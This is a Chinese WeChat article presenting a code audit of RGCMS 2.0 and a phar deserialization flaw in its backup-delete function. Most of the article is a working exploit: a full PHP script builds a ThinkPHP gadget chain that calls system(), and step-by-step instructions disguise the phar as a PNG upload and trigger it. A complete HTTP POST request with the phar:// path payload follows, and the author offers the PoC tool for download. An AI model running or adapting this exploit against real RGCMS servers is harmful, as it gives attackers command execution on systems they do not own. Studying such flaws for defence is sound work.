【代码审计】RGCMS 2.0 存在 phar 反序列化RCE漏洞

【代码审计】RGCMS 2.0 存在 phar 反序列化RCE漏洞

原创 RT 星悦安全 2025-01-29 11:09

点击上方
蓝字
关注我们 并设为
星标

0x00 前言

RGCMS存在反序列化漏洞,攻击者可以通过该漏洞执行任意命令。

影响版本:RGCMS 2.0

0x01 漏洞分析&复现

漏洞点位于:rgcms2.0/app/admin/controller/Data.php

在delbackup()函数中,当数据库的类型不是mysql时,代码209行会执行unlink()函数,其中$data[‘path’]参数可控用户可以使用phar协议执行上传的恶意文件从而导致任意命令执行。

生成phar文件

具体代码:

<?phpnamespace think\process\pipes {    class Windows    {        private $files;        public function __construct($files)        {            $this->files = array($files);        }    }}namespace think\model\concern {    trait Conversion    {        protected $append = array("smi1e" => "1");    }    trait Attribute    {        private $data;        private $withAttr = array("smi1e" => "system");        public function get()        {            $this->data = array("smi1e" => "calc");        }    }}namespace think {    abstract class Model    {        use model\concern\Attribute;        use model\concern\Conversion;    }}namespace think\model{    use think\Model;    class Pivot extends Model    {        public function __construct()        {            $this->get();        }    }}namespace {    $conver = newthink\model\Pivot();    $a = new think\process\pipes\Windows($conver);    $phar = new Phar('hkey.phar');    $phar -> stopBuffering();    $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');    $phar -> addFromString('test.txt','test');    $phar -> setMetadata($a);    $phar -> stopBuffering();}?>

用本地的php生成一个phar文件

把hkey.phar文件名修改为hkey.png

安装时RGCMS时选择数据库类型为:Sqlite

上传恶意的png文件:

同时记录文件位置

/upload/image/20240820/2057e04b4b2d528ed7726d233fc87191.png 来到备份修复功能

点击删除然后抓取数据包

抓包

将数据包中path参数修改为

phar://upload/image/20240820/2057e04b4b2d528ed7726d233fc87191.png

命令执行成功: 

POST /admin.php/data/delbackup HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0Accept: application/json, text/javascript, */*; q=0.01Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencoded; charset=UTF-8X-Requested-With: XMLHttpRequestContent-Length: 212Origin: http://rgcms:81Connection: closeReferer: http://rgcms:81/admin.php/data/backuplistCookie: PHPSESSID=us9vfbgeh2i9c5kcp7h27ii8nsPriority: u=0title=20240820110529_rgcms.db&path=phar://upload/image/20240820/2057e04b4b2d528ed7726d233fc87191.png&children=&mtime=2024-08-20+11%3A05%3A29&size=1.09MB&type=file&ext=db&isReadable=true&isWritable=true&edit=false

0x02 工具下载

标签:代码审计,0day,渗透测试,系统,通用,0day,闲鱼,转转

Phar Poc关注公众号发送 250129 获取!


开了个星悦安全公开交流3群,🈲发公众号,纯粹研究技术,还会拉一些大佬,希望大家多多交流.


免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,文章作者和本公众号不承担任何法律及连带责任,望周知!!!